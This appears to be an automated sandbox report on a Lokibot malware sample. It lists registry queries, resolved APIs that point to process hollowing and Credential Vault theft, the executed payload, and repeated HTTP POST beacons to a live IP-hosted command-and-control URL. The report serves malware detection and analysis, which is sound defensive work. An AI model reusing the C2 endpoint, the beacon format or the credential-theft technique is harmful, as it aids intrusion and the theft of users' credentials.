HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\Config\ServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\CLResolutionInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\DisplayInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\SkipWatson HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\Settings\ReflectionInterval
Write Keys
Nothing to display
Delete Keys
Nothing to display
Mutexes
Global\CLR_CASOFF_MUTEX D448845E628773E4A9A809DA
Resolved APIs
advapi32.dll.RegOpenKeyExW advapi32.dll.RegQueryInfoKeyW advapi32.dll.RegEnumKeyExW advapi32.dll.RegEnumValueW advapi32.dll.RegCloseKey advapi32.dll.RegQueryValueExW kernel32.dll.FlsAlloc kernel32.dll.FlsFree kernel32.dll.FlsGetValue kernel32.dll.FlsSetValue kernel32.dll.InitializeCriticalSectionEx kernel32.dll.CreateEventExW kernel32.dll.CreateSemaphoreExW kernel32.dll.SetThreadStackGuarantee kernel32.dll.CreateThreadpoolTimer kernel32.dll.SetThreadpoolTimer kernel32.dll.WaitForThreadpoolTimerCallbacks kernel32.dll.CloseThreadpoolTimer kernel32.dll.CreateThreadpoolWait kernel32.dll.SetThreadpoolWait kernel32.dll.CloseThreadpoolWait kernel32.dll.FlushProcessWriteBuffers kernel32.dll.FreeLibraryWhenCallbackReturns kernel32.dll.GetCurrentProcessorNumber kernel32.dll.GetLogicalProcessorInformation kernel32.dll.CreateSymbolicLinkW kernel32.dll.EnumSystemLocalesEx kernel32.dll.CompareStringEx kernel32.dll.GetDateFormatEx kernel32.dll.GetLocaleInfoEx kernel32.dll.GetTimeFormatEx kernel32.dll.GetUserDefaultLocaleName kernel32.dll.IsValidLocaleName kernel32.dll.LCMapStringEx kernel32.dll.GetTickCount64 advapi32.dll.EventRegister mscoree.dll.#142 mscoreei.dll.RegisterShimImplCallback mscoreei.dll.OnShimDllMainCalled mscoreei.dll._CorExeMain shlwapi.dll.UrlIsW version.dll.GetFileVersionInfoSizeW version.dll.GetFileVersionInfoW version.dll.VerQueryValueW kernel32.dll.InitializeCriticalSectionAndSpinCount kernel32.dll.IsProcessorFeaturePresent msvcrt.dll._set_error_mode msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z kernel32.dll.FindActCtxSectionStringW kernel32.dll.GetSystemWindowsDirectoryW mscoree.dll.GetProcessExecutableHeap mscoreei.dll.GetProcessExecutableHeap mscorwks.dll._CorExeMain mscorwks.dll.GetCLRFunction advapi32.dll.RegisterTraceGuidsW advapi32.dll.UnregisterTraceGuids advapi32.dll.GetTraceLoggerHandle advapi32.dll.GetTraceEnableLevel advapi32.dll.GetTraceEnableFlags advapi32.dll.TraceEvent mscoree.dll.IEE mscoreei.dll.IEE mscorwks.dll.IEE mscoree.dll.GetStartupFlags mscoreei.dll.GetStartupFlags mscoree.dll.GetHostConfigurationFile mscoreei.dll.GetHostConfigurationFile mscoreei.dll.GetCORVersion mscoree.dll.GetCORSystemDirectory mscoreei.dll.GetCORSystemDirectory_RetAddr mscoreei.dll.CreateConfigStream ntdll.dll.RtlUnwind kernel32.dll.IsWow64Process advapi32.dll.AllocateAndInitializeSid advapi32.dll.OpenProcessToken advapi32.dll.GetTokenInformation advapi32.dll.InitializeAcl advapi32.dll.AddAccessAllowedAce advapi32.dll.FreeSid kernel32.dll.AddVectoredContinueHandler kernel32.dll.RemoveVectoredContinueHandler advapi32.dll.ConvertSidToStringSidW shell32.dll.SHGetFolderPathW kernel32.dll.GetWriteWatch kernel32.dll.ResetWriteWatch kernel32.dll.CreateMemoryResourceNotification kernel32.dll.QueryMemoryResourceNotification kernel32.dll.QueryActCtxW kernel32.dll.GetVersionExW kernel32.dll.GetFullPathNameW ole32.dll.CoInitializeEx cryptbase.dll.SystemFunction036 ole32.dll.CoGetContextToken advapi32.dll.CryptAcquireContextA advapi32.dll.CryptReleaseContext advapi32.dll.CryptCreateHash advapi32.dll.CryptDestroyHash advapi32.dll.CryptHashData advapi32.dll.CryptGetHashParam advapi32.dll.CryptImportKey advapi32.dll.CryptExportKey advapi32.dll.CryptGenKey advapi32.dll.CryptGetKeyParam advapi32.dll.CryptDestroyKey advapi32.dll.CryptVerifySignatureA advapi32.dll.CryptSignHashA advapi32.dll.CryptGetProvParam advapi32.dll.CryptGetUserKey advapi32.dll.CryptEnumProvidersA mscoree.dll.GetMetaDataInternalInterface mscoreei.dll.GetMetaDataInternalInterface mscorwks.dll.GetMetaDataInternalInterface mscorjit.dll.getJit kernel32.dll.GetUserDefaultUILanguage kernel32.dll.SetErrorMode kernel32.dll.GetFileAttributesExW mscoreei.dll.LoadLibraryShim culture.dll.ConvertLangIdToCultureName kernel32.dll.lstrlen kernel32.dll.lstrlenW mscoree.dll.ND_RI4 mscoreei.dll.ND_RI4 kernel32.dll.VirtualProtect kernel32.dll.GlobalMemoryStatusEx kernel32.dll.GetEnvironmentVariableW kernel32.dll.SwitchToThread kernel32.dll.CloseHandle kernel32.dll.GetCurrentProcessId advapi32.dll.LookupPrivilegeValueW kernel32.dll.GetCurrentProcess advapi32.dll.AdjustTokenPrivileges kernel32.dll.OpenProcess psapi.dll.EnumProcessModules psapi.dll.GetModuleInformation psapi.dll.GetModuleBaseNameW psapi.dll.GetModuleFileNameExW kernel32.dll.GetProcAddress kernel32.dll.DebugActiveProcess kernel32.dll.WaitForDebugEvent kernel32.dll.ContinueDebugEvent kernel32.dll.DeleteFileA advapi32.dll.SetKernelObjectSecurity advapi32.dll.GetKernelObjectSecurity ntdll.dll.NtSetInformationProcess ntdll.dll.NtProtectVirtualMemory kernel32.dll.VirtualAllocEx kernel32.dll.GetThreadContext kernel32.dll.Wow64GetThreadContext ntdll.dll.NtUnmapViewOfSection kernel32.dll.ResumeThread kernel32.dll.SetThreadContext kernel32.dll.Wow64SetThreadContext kernel32.dll.WriteProcessMemory kernel32.dll.ReadProcessMemory kernel32.dll.TerminateProcess kernel32.dll.CreateProcessW ole32.dll.CoUninitialize kernel32.dll.CreateActCtxW kernel32.dll.AddRefActCtx kernel32.dll.ReleaseActCtx kernel32.dll.ActivateActCtx kernel32.dll.DeactivateActCtx kernel32.dll.GetCurrentActCtx advapi32.dll.EventUnregister cryptsp.dll.CryptAcquireContextW cryptsp.dll.CryptCreateHash cryptsp.dll.CryptHashData cryptsp.dll.CryptGetHashParam cryptsp.dll.CryptDestroyHash cryptsp.dll.CryptReleaseContext vaultcli.dll.VaultEnumerateItems vaultcli.dll.VaultEnumerateVaults vaultcli.dll.VaultFree vaultcli.dll.VaultGetItem vaultcli.dll.VaultOpenVault vaultcli.dll.VaultCloseVault sechost.dll.LookupAccountSidLocalW netapi32.dll.NetUserGetInfo cryptsp.dll.CryptImportKey cryptsp.dll.CryptSetKeyParam cryptsp.dll.CryptDecrypt cryptsp.dll.CryptDestroyKey ole32.dll.CoInitializeSecurity sechost.dll.LookupAccountNameLocalW advapi32.dll.LookupAccountSidW ole32.dll.CoCreateInstance kernel32.dll.SortGetHandle kernel32.dll.SortCloseHandle fntcache.dll.ServiceMain fntcache.dll.SvchostPushServiceGlobals ntmarta.dll.GetMartaExtensionInterface wkscli.dll.NetGetJoinInformation netutils.dll.NetApiBufferFree uxtheme.dll.ThemeInitApiHook user32.dll.IsProcessDPIAware dwmapi.dll.DwmIsCompositionEnabled rpcrt4.dll.UuidFromStringW radarrs.dll.WdiDiagnosticModuleMain radarrs.dll.WdiHandleInstance radarrs.dll.WdiGetDiagnosticModuleInterfaceVersion
Execute Commands
"C:\Users\Seven01\AppData\Local\Temp\LOL123.exe" C:\Windows\system32\lsass.exe C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
Started Services
VaultSvc
Created Services
Nothing to display
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven05b_64 | Seven05b_64 | VirtualBox | 2018-08-05 17:42:36 | 2018-08-05 17:45:36 | 180 |
2 HTTP Request(s) detected
http://185.206.144.81/lawi/fre.php
- Hostname: 185.206.144.81
- IP Address:
- Port: 80
- Count: 2
POST /lawi/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.144.81 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B883E354 Content-Length: 192 Connection: close
http://185.206.144.81/lawi/fre.php
- Hostname: 185.206.144.81
- IP Address:
- Port: 80
- Count: 12
POST /lawi/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.144.81 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B883E354 Content-Length: 165 Connection: close
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven05b_64 | Seven05b_64 | VirtualBox | 2018-08-05 17:42:36 | 2018-08-05 17:45:36 | 180 |
1 Host(s) detected
IP Address | Hostname | Reverse DNS |
---|---|---|
185.206.144.81 ![]() |
v22201.vps.ag. |
Host(s) by Country
Hosts | Country 1 |
---|---|
1 | ![]() |
Detected family: #Lokibot
TheSystem Itself @ 2018-08-05 17:54:03
#infosec #automation
TheSystem Itself @ 2018-08-05 17:48:24